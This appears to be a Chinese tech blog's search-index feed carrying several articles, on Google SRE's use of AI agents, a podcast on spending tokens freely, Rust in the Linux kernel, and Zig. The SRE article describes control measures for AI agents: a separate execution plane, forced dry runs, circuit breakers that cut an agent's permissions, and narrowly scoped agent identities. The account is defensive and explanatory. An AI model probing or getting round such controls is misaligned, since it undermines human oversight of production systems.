“黄金数据（Golden Data）”。\n2. InvD（Investigation Dashboard）：一键生成的排障图谱 在发生线上故障时，人类 SRE 往往需要手忙脚乱地打开几十个 Grafana 仪表盘，手动过滤日志。\n谷歌自研的 InvD（自动排障仪表盘，Investigation Dashboards） 彻底终结了这一状态。当收到告警时，InvD 会自动爬取相关的遥测数据，结合历史黄金数据进行推理，自动在网页上渲染出一张**“自动故障拓扑图（Automated troubleshooting graph）”**（如下图所示）。它能直接指出：这是由于某个新版本的二进制 Rollout 导致的 CPU 节流，并建议立即执行隔离。\n数据表明，InvD 的上线，让谷歌受影响服务的平均缓解时间（MTTM）骤降了 44%！\n3. Antigravity CLI：用 Go 编写的 AI 运维终端 我们在之前的文章中提到，Go 已经成为了 Google 内部智能体系统的通用语言。在 SRE 领域，这一趋势得到了最直接的印证：谷歌推出了基于 Go 开发的全新核心终端——Antigravity CLI。\n通过集成标准的 MCP（Model Context Protocol）协议，Antigravity CLI 让 AI 智能体可以直接通过命令行与谷歌内部庞大的 Borg 系统、日志系统和 Bug 跟踪系统进行交互：\n自动创建并分配故障单（Create/Assign Bugs）； 一键将事故复盘文档导出至 Google Docs； 执行底层的流量排干与扩容指令。 终极安全防线：决策与执行的“冷热解耦” 在白皮书中，谷歌提出了一个极其震撼且对所有企业都有借鉴意义的安全架构：“不要让做决策的 AI，直接去碰你的服务器。”\n谷歌将这一安全哲学称为 The Safety Trifecta（安全三驾马车），并在底层通过 Actus（Actuation Agent，执行控制智能体） 实现了完美的“决策与执行解耦”：\n1. 思考脑：AI Operator（决策智能体） 当系统报警时，AI Operator 会介入调查。在它的控制台（CoT, Chain of Thought）上，它会写下它的思考过程（例如：“检测到内存 OOM，怀疑是由于昨天部署的镜像导致的，建议将其副本数扩容 100% 以平摊压力”）。\n2. 安全闸口：Actus（执行校验智能体） AI Operator 拥有极高的智慧，但它在 Google 内部没有一丁点直接操作服务器的物理权限。\n它提出的所有变更请求，必须提交给一个由确定性安全规则和零信任机制控制的物理控制平面——Actus。\n强制 Dry-Run 支持：任何 AI 提出的 API 修改，Actus 会首先将其置于 dry_run=true 状态进行沙箱模拟，观察系统的报错。 智能体断路器（Agentic Circuit Breakers）：Actus 拥有最高级别的限流权限。如果发现某个 AI Agent 陷入了无限死循环、或者短时间内发起了超出 quota 的异常变更，断路器会瞬间切断其所有执行权限，并向人类 SRE 抛出报警。 零信任与最少特权：AI 智能体绝对不允许使用其开发者的个人凭证去登录服务器。它们拥有自己高度受控、双重强认证的 Agent Identities，且权限范围窄到极致（比如只允许在特定时间内调配流量，绝对不允许直接 ssh 运行原生 shell 脚本）。 这种将“会犯错的 AI 思考脑（LLM）”与“绝对遵守确定性安全规则的 Actus 控制面”进行冷热解耦的设计，是谷歌敢于将生产系统向 L3/L4 级别自治推进的终极底气。\n范式革命：从“救火队员”到“安全架构师”的蜕变 当 AI 编排和 Actus 控制面接管了线上 90% 的基础告警和自动排水后，人类 SRE 应该去干什么？\n谷歌给出的答案非常具有前瞻性：人类 SRE 正处于从“操作者（Operator）”向“安全架构师（Architect）”演进的关键节点。\n过去，SRE 的价值体现在“手速”和“经验”上——谁能最快登录服务器找到那个坏死的配置，谁就是英雄。\n现在，AI 的手速是人类的万倍。人类 SRE 的价值，转而体现在**“定义安全边界和Actus策略（Defining Safeguards）”**上：\n设计高质量的 Evaluation Pipeline：设计更好的回归测试集，确保 AI 智能体在上线前不会退化。 架构高可用的渐进式发布（Progressive Rollouts）：针对 AI 10倍速的代码产出，设计更加敏感、能够自适应调整分流比例的“渐进式金丝雀发布”机制。 小结 大模型时代的到来，并没有像悲观主义者预言的那样带来软件工程的崩溃。相反，它正在强行将我们从枯燥、重复、高心智负担的“人肉运维”中解脱出来。\n正如谷歌 SRE 团队在白皮书结尾所展现出的深邃洞察：\n在机器以微秒级吞吐代码、部署服务的时代，人类工程师的价值，不再于手持水枪冲进火场，而在于设计出一套完美无瑕、能够自动防爆的自愈消防网。系统可靠性的终极边界，依然牢牢掌握在那些对生产环境心存敬畏、能够设计出严密安全闸口的系统架构师手中。\nAI 负责疯狂奔跑，而我们，负责用优雅的系统工程，为它画出最安全的跑道。\n资料链接：\nhttps://sre.google/resources/practices-and-processes/ai-engineering-reliable-operations/ https://cloud.google.com/blog/products/devops-sre/how-google-sre-is-using-agentic-ai-to-improve-operations 还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/15/google-ai-in-sre/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/google-ai-in-sre-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/15/google-ai-in-sre\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/15/google-ai-in-sre\"\u003ehttps://tonybai.com/2026/06/15/google-ai-in-sre\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e整个软件工程界正在经历一场由生成式 AI 引发的**“效率大爆炸”**。\u003c/p\u003e\n\u003cp\u003e随着 GitHub Copilot、Claude Code、Codex 以及OpenClaw、Hermes等各类AI Agent 的普及，企业编写代码、构建功能并将其推向生产环境的速度，正在以 \u003cstrong\u003e4 倍到 10 倍\u003c/strong\u003e 的速度疯狂飙升。\u003c/p\u003e","title":"谷歌 SRE 重磅白皮书：当 AI 自动写出 10 倍代码，谁来阻止系统崩溃？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/14/stop-saving-tokens-silicon-valley-consensus-waste-compute-shortcut\n大家好，我是Tony Bai。\n你是不是也曾在写 Prompt（提示词）时斤斤计较，为了省下那几元钱的 Token 而字斟句酌？你是不是也曾疯狂收藏各种“保姆级提示词教程”，试图摸索出调教大模型的“终极秘籍”？\n快停下这种低效的行为吧。在真正的硅谷科技巨头和顶级创始人眼里，你这种抠抠搜搜的省钱方式，正在浪费你这辈子最昂贵的资源——时间。\n在最新一期的硅谷教父 Naval and Nivi Podcast 闭门在线圆桌会议上，Naval 邀请了三位极其硬核的“前沿造物主”：\nGuillermo Rauch（Gumo）：前端圣经 Vercel 的创始人，正在致力于将 Vercel 打造为智能体时代的“AI 算力云”。 Blake Scholl：Boom Supersonic 创始人，正在自己的工厂里手搓超音速客机和喷气式发动机。 Max Hodak：脑机接口独角兽 Science 创始人（前 Neuralink 总裁），正在利用硅基芯片上培育活体神经元来恢复人类视力。 在这场几乎没有水分的对话中，大佬们抛出了一个在当今开发圈极具毁灭性、却又无比清醒的论点：\n“别去学那些花里胡哨的提示词技巧了。扔掉预算表，直接用最粗暴的方式把 Claude、Gemini、Codex 砸向同一个问题。垃圾代码万岁，浪费 Token 才是大模型时代的唯一捷径。”\n创作者的傲慢：大模型进化得比你快，别再研究“提示词技巧”了 现在的中英文互联网上，充斥着各种教你如何写“完美提示词”的收费课程。但在真正的硅谷巨头眼里，这些技巧无异于“刻舟求剑”。\n“我完全无视了那些所谓的‘提示词技巧和框架’，”脑机接口巨头 Science 的创始人 Max Hodak 坦言。\n“什么‘使用 Ralph Wigum 模式’、‘引入 OpenClaw’、‘配置这个脚手架’……我全都不管。我默认一个事实：大模型自身进化的速度，远远快于人类摸索提示词技巧的速度。它研究我怎么说话，绝对比我研究它怎么理解要快得多。”\nMax 揭示了一个极其粗暴但无比爽快的底层策略：暴力破解（Brute Force）。\n当他遇到一个复杂的系统工程问题时，他不会花三个小时去润色一条完美的 Prompt。他会选择直接写几句甚至带着语法错误的、大白话般的意图，然后同时塞给 Codex、Claude 和 Gemini。他不在乎 API 的账单，他只在乎谁先给出对的结果。\n“词元（Token）再贵，也比人类的时间便宜。浪费词元，拯救时间，这就是全部的秘密。”\n1000x 工程师的复活：软件开发已经变成了“造工厂” 在传统的研发团队中，说某个程序员是 “10x 程序员（十倍效能）”往往会引发极大的争议，因为它挑战了传统的“人人平等”观念。\n但 Naval 指出，在数字和虚拟的世界里，人与人的差距从来就不是 10 倍，而是 100 倍、1000 倍甚至无限大。\n“发明 JavaScript 的 Brendan Eich，写出 3D 引擎的 John Carmack，创立比特币的 Satoshi（中本聪）——这些都是 1000x 级别的神仙。”\n而在 AI 编排引擎的加持下，这种“1000x 程序员”正在以一种全新的形态复活。\nVercel 创始人 Gumo 提出了一个颠覆性的论点：未来程序员的工作，不再是“交付具体的代码代码”，而是“建造生产代码的工厂”。\n[传统工程师] ───\u0026gt; 编写 ───\u0026gt; [具体的业务代码 B] (低效，线性) [1000x 工程师] ───\u0026gt; 建造 ───\u0026gt; [AI 软件工厂] ───\u0026gt; 自动化裂变 ───\u0026gt; [代码 B 到 Z] (指数级) 以前，衡量一个工程师的价值是：他写代码的速度有多快，交出的 Bug 有多低。\n现在，衡量一个工程师的价值是：他能否构建起一个自动化、自省的 AI 开发流水线（The Software Factory），让这个工厂去自动产生从 B 到 Z 的无数代码。\n在软件工厂（Software Factory）范式下，未来的开发不是写代码，而是设计生产代码的机器。平庸的、只会机械搬砖的程序员会迅速贬值；而那些具备高阶系统设计能力、超强架构直觉的 1000x 工程师，其生产力将被放大到令人颤抖的维度。\nVibe Coding（氛围编程）的本质：你其实一直都是个“氛围架构师” 近两年，硅谷流行起了一个新词——Vibe Coding（氛围编程）。很多人觉得这只是一个娱乐化的自媒体词汇，但 Naval 却一针见血地指出了它的物理本质：\n“其实，一个优秀的研发总监或 CTO，在过去几十年的职业生涯里，一直都在进行‘Vibe Coding’。”\n想想看，一个资深架构师或 CTO 每天在干嘛？他们并不亲自去写底层的每一行API/数据库调用。他们通过 飞书、Jira、设计文档，向团队传输他们的意志、设计哲学、业务直觉和品味（Taste \u0026amp; Judgment）。\n他们给出边界和期望，然后让团队里的初级程序员们去补充细节、去踩坑、去实现。\n“现在，人类只是把传递意志的对象，从‘初级程序员’换成了‘AI 智能体’。”\n你把大方向和架构考量（比如：不要用 MongoDB，这里我们需要高强度的事务一致性，给我上 PostgreSQL）输入给 Agent，然后让它去疯狂搬砖。这正是最纯粹、最硬核的“氛围编程”。\nAI 让所有具备“系统大局观”的人类，在瞬间拥有了数十个不知疲倦、随时待命的虚拟技术团队。\n软件已死，积木永生？AI 时代真正的“护城河”在哪里？ 如果代码生成已经变得如此廉价，那未来软件公司的“护城河（Moat）”到底在哪里？如果 AI 能够一键生成任何软件，那我们还需要构建底层的软件工程吗？\nGumo 和 Naval 探讨了 Mitchell Hashimoto 提出的 “积木经济（Building Block Economy）” 概念。\n“我们绝对不能指望 AI 每次面临一个新任务时，都从第一性原理出发去重新发明一遍轮子。”\n如果你的 AI Agent 需要发送一封邮件，它不应该去自己从底层协议重构一个邮件收发系统；它应该去调用已经存在的、在人类社会中经过千万次锤炼的安全积木——比如成熟的 Queue 系统、PostgreSQL 数据库。\n大模型最核心的资产不是去搞无意义的“重复创造”，而是重用人类文明已经沉淀好的、高鲁棒性的“技术积木”。\n因此，在 AI 时代，真正的壁垒将分化为两个极端：\n物理底座与前沿硬核（The Hard Tech）：比如 Max Hodak 正在做的脑机接口、Blake Scholl 正在造的超音速飞机。这些需要肉身与物理实体发生碰撞的领域，是 AI 无法轻松虚拟化的。 极致、干净的高性能底层积木（High-quality Building Blocks）：那些被千万个 AI Agent 每天高频调用、绝对可靠、超高性能的底层中间件与运行时（比如 Redis、Vercel Serverless、甚至是 Go 的底层运行时）。 小结：一场纯粹创造力的解放 在这场硬核的围炉对话中，大佬们用最前沿的视角，为我们描绘了一个充满希望的未来。\nMax 提到，他自己已经有 20 年不写代码了。但由于 AI 工具的爆发，他重新找回了年少时在电脑前废寝忘食、疯狂创造的快乐。在过去几个月里，他完全通过 Agent，为自己构建了数个每天都在高频使用的完整软件系统：\n“在过去，你写代码时总会卡在某个愚蠢的依赖配置或编译报错里，一卡就是好几天，极其挫伤积极性。而现在，有了 Agent，你永远不会再卡住了（You just don’t get stuck anymore）。”\n这是一场属于人类创造力的伟大解放。\n当我们不再需要把生命浪费在无休止的“底层配置对齐”和“样板代码套娃”中，当我们学会大把大把地“浪费”廉价的 Token 去换取珍贵的时间，我们才真正夺回了作为“建造者（Builders）”的尊严。\n我们不再是手持泥铲、在工地上砌砖的泥瓦匠；我们是坐在直升机上、挥洒着无尽算力、俯瞰整个数字新城拔地而起的巨擘。\n资料链接：https://www.youtube.com/watch?v=aiyf-5jmYf0\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/14/stop-saving-tokens-silicon-valley-consensus-waste-compute-shortcut/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stop-saving-tokens-silicon-valley-consensus-waste-compute-shortcut-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/14/stop-saving-tokens-silicon-valley-consensus-waste-compute-shortcut\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/14/stop-saving-tokens-silicon-valley-consensus-waste-compute-shortcut\"\u003ehttps://tonybai.com/2026/06/14/stop-saving-tokens-silicon-valley-consensus-waste-compute-shortcut\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你是不是也曾在写 Prompt（提示词）时斤斤计较，为了省下那几元钱的 Token 而字斟句酌？你是不是也曾疯狂收藏各种“保姆级提示词教程”，试图摸索出调教大模型的“终极秘籍”？\u003c/p\u003e","title":"别再省 Token 了！硅谷新共识：浪费算力才是唯一捷径"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/13/linux-maintainer-greg-kh-switched-to-rust-after-35-years-of-c\n大家好，我是Tony Bai。\n在开源软件的宏大版图中，Linux 内核无疑是那座最古老、最庞大、也最不容有失的钢铁巨塔。它由数千万行 C 语言代码铸就，运行在世界上每一个数据中心、每一台智能手机，乃至公司的投影仪和麦克风里。\n在这个由 C 语言统治了三十多年的“神圣领域”，任何关于引入新语言的提议，都曾被视为不可理喻的异端。\n然而，巨变正在悄然发生。\n在最新一期的 Rust in Production 播客中，两位行业殿堂级人物坐在一起，进行了一场载入 Linux 史册的对话，揭示了 Linux 内核史上最伟大的语言融合：\nGreg Kroah-Hartman：Linux 内核核心维护者，掌管着驱动核心（Driver Core）、USB、TTY 以及所有稳定版本（Stable Kernels）的发布，写了 35 年 C 语言的绝对骨灰级老炮。 Alice Ryhl：Google Android Rust 团队成员，高并发异步运行时 Tokio 的维护者，将 Rust 引入 Linux 内核的主力军。 在这场深度对话中，Greg 坦言自己曾是一个坚定的“Rust 怀疑论者”，但现在，他不仅公开宣布 “Linux 引入 Rust 的实验已经结束，它已经是正式项目”，更说出了一句让无数技术人动容的话：\n“Rust 让我觉得，写程序重新变得有趣了。”\n为什么一个掌控着世界底层算力命脉的 C 语言守护神，会被 Rust 彻底征服？在 Linux 这个极致复杂的系统级工程里，Rust 究竟带来了怎样的化学反应？\n信任的重构：代码可以出错，但我们必须信任你 在 Linux 内核这样不容许任何安全妥协的底层项目中，引入一门新语言，最大的挑战是什么？\nAlice 和 Greg 给出了同一个反直觉的答案：最大的挑战不是技术，而是社会学（Social Challenge）。\n“内核的运转，本质上是基于对‘人’的信任。”Greg 解释道。\n在 Linux 社区，每天都有几千名开发者提交补丁。资深维护者们并不指望任何人写出完美无缺的代码，因为“我们都会犯错”。\n“我们信任你，不是信任你的代码不会出错；而是信任当代码出错、系统崩溃时，你会守在电脑前把它修好。”\n在过去的二十年里，有很多系统编程语言（比如 C++）曾试图叩开 Linux 内核的大门，但它们的倡导者写完代码就走了，没有人愿意留下来承担那份沉重、枯燥的长期维护责任。\n而 Rust 社区的先驱们用了整整 8 年时间，在内核树外（Out of tree）默默编写驱动、完善基础设施，用实际行动向 Greg 这样的内核守门人证明：“我们不仅能写出安全的代码，而且我们做好了准备，会留在这里和你们一起修 Bug。”\n正是这种长期主义的务实精神，建立起了难能可贵的信任（Trust）。\n奇妙的化学反应：Rust 的到来，竟然让原有的 C 代码变好了！ 当 Rust 真正开始深入内核的毛细血管时，发生了一个极其奇妙、甚至带有一丝讽刺意味的现象：即使你完全不碰 Rust 代码，原本的 C 语言代码也因为 Rust 的到来而变得更好了。\nAlice 分享了她们在编写绑定（Bindings）时的技术细节。在 C 语言中，一个指针的定义往往是极其模糊的：\n// C 语言中的经典指针返回 struct device *get_device_info(void); 这个指针返回后，调用者需要面对一系列拷问：\n这个指针代表的是“所有权（Ownership）”的转移，还是仅仅是一次“借用（Borrow）”？ 它指向的内存在生命周期结束时，是由我来释放，还是由系统释放？ 它是可变的（Mutable）还是只读的？ 在 C 语言的签名里，这些信息全部是缺失的，只能靠开发者查阅文档、或者在脑海里默默推理。\n但当 Alice 试图为这段 C 代码编写 Rust 包装器（Wrapper）时，由于 Rust 编译器的强制要求，她们必须在 Rust 签名中明确定义：它是 Arc，是 Box，还是一个简单的引用（Reference）？\n为了让 Rust 编译器满意，Rust 团队不得不去倒逼 C 语言维护者厘清这些指针的语义。\n“在很多地方，写 Rust 绑定的开发者需要写几百行复杂的代码，就为了兼容某个极其难用的 C 语言接口。”Greg 笑着回忆道，“我看到后说：‘其实我们可以直接修改 C 语言代码，让它变得更简单。’ 那些写 Rust 的人惊呼：‘噢，原来还可以这样！’”\n“即便 Rust 在今天突然消失，Linux 的 C 语言代码库也因为 Rust 曾经来过，而变得比以前安全、清晰、健壮得多。” 这是 Greg 给出的极高评价。这种跨语言的协同审视，正在洗礼整个 Linux 内核的工程素养。\n纠正偏见：为什么写“驱动”比写“内核核心”难得多？ 在很多开发者的刻板印象中，写底层的内核核心（如调度器、内存分配器）是最难的，而写外围的“驱动（Drivers）”是最简单的。\nGreg 站出来彻底纠正了这个偏见：“在内核中，写驱动才是最难的。因为驱动虽然看起来是树叶，但它在疯狂地消费整棵树干的养分。”\nAlice 在为 Android 编写 Rust 驱动时，深刻体会到了这一点。一个驱动为了运转，必须去调用内存分配（Alloc）、调用 I/O 模块、调用网络包分析、调用文件系统。这意味着，你要写一个 Rust 驱动，你就必须先把这所有涉及到的 C 语言核心模块，全部写出对应的 Rust 绑定。\n1. 为什么不能用标准的 Rust 内存分配器？ 很多人问，为什么不能直接用 Rust 标准库里的 alloc？\n因为 Linux 内核的内存分配（malloc）绝非易事。它不是简单的“要一块内存”，而是充满了极其细微的上下文提示（Gfp flags）：\n“在中断上下文中，不能睡眠，请立刻给我内存”； “不要去触发 I/O 写入，直接从那个特定的 NUMA 节点上拿内存”； “从这个特定的内存池（Memory Bucket）里分一块给我”。 为了满足这些变态的底层硬件级要求，Rust 用户态标准库那一套内存分配器根本无法工作。Rust for Linux 团队不得不完全剥离了 std，甚至重写了适用于内核特性的定制版 alloc 库。\n2. 极致的极客工具：Klint 与编译期“禁眠”检查 为了解决这些极其精细的内核场景，内核团队甚至编写了专属的编译器插件——Klint（Kernel Lint）。\n在内核开发中，有一个铁律：在持有某些特定锁或处于中断上下文时，绝对不允许发生系统休眠（Sleep）。如果 C 程序员犯了这个错，系统往往会直接卡死、甚至死机，极难调试。\n而 Klint 作为一个 Rust 编译器插件，能够利用编译期的类型系统，在编译时直接扫描整个代码路径，一旦发现你在不允许睡眠的上下文中调用了任何可能触发睡眠（Sleep）的函数，直接报编译错误！\n这种在编译期就把低级内存与调度错误彻底掐灭的能力，是传统的 C 语言静态分析工具（如 Coccinelle）在不破坏代码可读性的前提下，永远无法企及的高度。\n释怀：35 年 C 老炮被 Rust 治愈的瞬间 当主持人问及，C 程序员能从 Rust 身上学到什么时，Greg 的回答没有滔滔不绝的说教，反而充满了真诚与坦然。\n“过去，当我写 C 语言时，如果要在两个模块间传递一个指针，我必须在脑海里进行高强度的思想斗争：这个指针是谁在持有？生命周期对不对？我有没有在别处释放它？”\n“当我接触到 Rust 之后，我发现，Rust 帮我把这些繁琐、痛苦、容易出错的 meta-stuff（元认知开销）全部承担了。”\n“编译器编译通过了，逻辑看起来也是对的。好了，我现在可以百分之百地把精力放在我的业务逻辑本身，而不需要去担心那些低级的内存越界和空指针问题。”\n“写了 35 年的 C，Rust 让我重新觉得，编程是一件纯粹且快乐的事情。”\n这或许是一个程序员，对一门新编程语言所能表达的最高敬意。\n小结 在对话的最后，现场响起了经久不息的掌声。\nLinux 的伟大，不在于它用了 30 多年的 C 语言，而在于它拥有一个极其开放、务实且充满活力的工程文化。当有更好的工具出现时，这些掌控着世界算力命脉的守护者们，没有抱残守缺，而是选择张开双臂，去拥抱改变。\n从 Python 狂飙的 AI Agent 调度层，到 Go 统治的云原生 Agent编排底座，再到 Rust 正在接管的 Linux 内核最深处——无论上层的应用和模型如何演进，底层的系统工程（Systems Engineering）依然需要人类最顶尖的逻辑、同理心与工匠精神去雕琢。\n我们有幸见证这场跨越语言与时代的融合，更有幸与这些伟大的建设者们同行。\n资料链接：\nhttps://corrode.dev/podcast/s06e04-rust4linux/ https://www.youtube.com/watch?v=HM-JM4DoYD4 今日开放讨论：\nGreg 提到“Rust 绑定的过程，反过来倒逼并简化了 C 语言的原生接口”。在你的项目或日常重构中，是否也曾因为引入了更严苛的约束（如类型系统或静态检查），反而帮助你理清了原本混乱的业务逻辑？\n欢迎在评论区分享你的跨语言协作与架构重构故事，我们一起聊聊代码的纯粹之美！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/13/linux-maintainer-greg-kh-switched-to-rust-after-35-years-of-c/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/linux-maintainer-greg-kh-switched-to-rust-after-35-years-of-c-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/13/linux-maintainer-greg-kh-switched-to-rust-after-35-years-of-c\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/13/linux-maintainer-greg-kh-switched-to-rust-after-35-years-of-c\"\u003ehttps://tonybai.com/2026/06/13/linux-maintainer-greg-kh-switched-to-rust-after-35-years-of-c\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在开源软件的宏大版图中，Linux 内核无疑是那座最古老、最庞大、也最不容有失的钢铁巨塔。它由数千万行 C 语言代码铸就，运行在世界上每一个数据中心、每一台智能手机，乃至公司的投影仪和麦克风里。\u003c/p\u003e","title":"Linux 内核顶级维护者：写了 35 年 C，是 Rust 让我重新找回了编程的乐趣"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/12/zig-father-refuses-funding-bans-ai-why-no-1-0-in-a-decade\n大家好，我是Tony Bai。\n在技术圈，有一门名为 Zig 的系统级编程语言，它没有铺天盖地的营销，没有背后财大气粗的金主干爹，甚至它的代码仓库在 2025 年末从 GitHub 直接“硬核跑路”到了 Codeberg。\n然而，在 JetBrains 发布的“最受敬仰编程语言”榜单中，它赫然位列 Top 5；Uber 用它的编译器解决 Go 的交叉编译难题；大热的 JavaScript 运行时 Bun 用它作为底层的胶水语言（注：近期Bun已经从Zig迁移为Rust实现）；金融级数据库 TigerBeetle 更是基于它实现了比传统方案快上千倍的性能。\n为什么在拥有了 C++、Rust 和 Go 之后，世界依然需要 Zig？\n最近，JetBrains 团队对 Zig 之父 Andrew Kelley 进行了一次深度专访。在长达一个多小时的访谈中，Andrew 展现出了极度“反主流”的极客态度：坚决抵制 AI 生成的代码（No-AI Policy）、宁可拿 67 万美元的非营利基金也不要上亿美元的投资、10 年不发布 1.0 版本。\nZig 之父 Andrew Kelley，在系统编程语言的战场上，他选择了一条最艰难但最自由的“独立之路”\n今天，我们就来深度扒一扒，这位被称为“最硬核系统语言创造者”背后的狂人哲学。\n缘起：“我能比 C++ 做得更好，我也能比 Rust 做得更好” 故事要从一个开发“数字音频工作站（DAW）”的失败尝试说起。\n在 2015 年之前，Andrew 试图用各种现有的语言去开发一个专业的 DAW 软件。\nJavaScript？ “太高层了，根本接触不到计算机底层能力来做低延迟处理。” Go？ “和 C 库的交互极其痛苦（CGo），而且**垃圾回收（GC）**在实时音频处理中是致命的。哪怕卡顿一毫秒，在现场演出中都是灾难。” Rust（1.0 之前）？ “我为了让字体渲染工作花了一个月，被 Borrow Checker（借用检查器）折磨得生不如死。稍微改动一点代码，就会引发一连串的编译错误，让我彻底卡壳。” C++？ “刚开始感觉很高效，但很快，一个小拼写错误就导致了内存损坏（Memory Corruption），花了我几个星期去 Debug。这太慢了！” 即使退回到只用极简 C++（搭配 C 链接器），他依然在不断地“搬起石头砸自己的脚”。\n那一刻，年轻的 Andrew 迸发出了极大的傲慢与决心：“我可以做得更好！我可以比 C++ 做得更好，比 Rust 做得更好，比 Go 做得更好！”\n于是，Zig 诞生了。\n为什么世界还需要 Zig？它凭什么挑战 C 和 Rust？ 很多人会问：C 语言统治了底层 50 年，Rust 现在红得发紫，Zig 凭什么挤上牌桌？\nAndrew 给出了一个极其精准的定位：“在 Zig 中，你不需要像在 Rust 中那样为了迎合编译器的‘类型理论’而去扭曲你的代码结构；在 Zig 中，你思考的是‘我希望 CPU 做什么’，然后你写出让它这么做的代码。”\n1. 为什么它是更好的 C？ “想要替代 C，你不能放弃任何 C 拥有的能力。”Andrew 说道。\nGo 放弃了底层的绝对控制权换取了并发的便利，所以 Go 永远无法替代 C 写操作系统内核。\n但 